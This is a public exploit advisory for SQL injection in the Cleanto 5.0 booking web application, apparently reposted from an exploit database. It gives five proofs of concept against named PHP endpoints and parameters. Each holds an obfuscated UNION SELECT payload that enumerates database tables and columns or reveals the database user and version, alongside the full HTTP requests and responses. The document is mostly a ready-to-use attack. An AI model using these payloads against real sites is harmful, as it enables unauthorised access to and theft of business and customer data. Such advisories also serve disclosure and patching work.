ExploitFixes
Cleanto 5.0 - SQL Injection 2019-01-14 19:05:14

# Exploit Title: Cleanto 5.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://skymoonlabs.com/
# Software Link: https://codecanyon.net/item/appointment-booking-software-for-cleaning-maintenance-businesses-cleanto/18397969
# Version: 5.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#

-5 UNION SELECT 1,2,3,4,5,6,7,8,(selECt(@x)fROm(selECt(@x:=0x00),(@rUNNing_nuMBer:=0),(@tbl:=0x00),(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x,if((@tbl!=tABLe_name),Concat(LPAD(@rUNNing_nuMBer:[email protected]_nuMBer+1,2,0x30),0x303d3e,@tBl:=tABLe_naMe,(@z:=0x00)), 0x00),lpad(@z:[email protected]+1,2,0x30),0x3d3e,0x4b6f6c6f6e3a20,column_name,0x3c62723e))))x),10,11,12-- -

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 572
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=-5 UNION SELECT 1,2,3,4,5,6,7,8,(selECt(@x)fROm(selECt(@x: =0x00),(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:32:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC:
# 2)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#

-5 UNION SELECT 1,2,3,4,5,6,7,8,(selECt(@x)fROm(selECt(@x:=0x00),(@rUNNing_nuMBer:=0),(@tbl:=0x00),(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x,if((@tbl!=tABLe_name),Concat(LPAD(@rUNNing_nuMBer:[email protected]_nuMBer+1,2,0x30),0x303d3e,@tBl:=tABLe_naMe,(@z:=0x00)), 0x00),lpad(@z:[email protected]+1,2,0x30),0x3d3e,0x4b6f6c6f6e3a20,column_name,0x3c62723e))))x),10,11,12-- -

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 584
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
method_id=-5 UNION SELECT 1,2,3,4,5,6,7,8,(selECt(@x)fROm(selECt(@x: =0x00),(@rUNNing_nuMBer
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:37:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC:
# 3)
# http://localhost/[PATH]/assets/lib/front_ajax.php
#

POST /[PATH]/assets/lib/front_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
addon_id=-14' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- -&qty_vals=2&s_addon_units_maxlimit_4_ratesss=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 17:48:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC:
# 4)
# http://localhost/[PATH]/assets/lib/export_ajax.php
#

POST /[PATH]/assets/lib/export_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
id=5 UNION SELECT 1,2,3,4,(SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:14:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:14:25 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked

# POC:
# 5)
# http://localhost/[PATH]/assets/lib/service_method_ajax.php
#

POST /[PATH]/assets/lib/service_method_ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Cookie: PHPSESSID=hrjvg00694n8qbnctc6buqsrt1; __stripe_mid=2a8f25fc-d13c-4873-96ae-832f3f9d4c11; __stripe_sid=39580a75-f7d8-40ca-aa36-cca625a54f96
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
service_id=5 UNION SELECT 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5-- -&getallservicemethod=1: undefined
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 13 Jan 2019 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: max-age=7200
Expires: Sun, 13 Jan 2019 20:21:32 GMT
Vary: Accept-Encoding
X-Endurance-Cache-Level: 2
Transfer-Encoding: chunked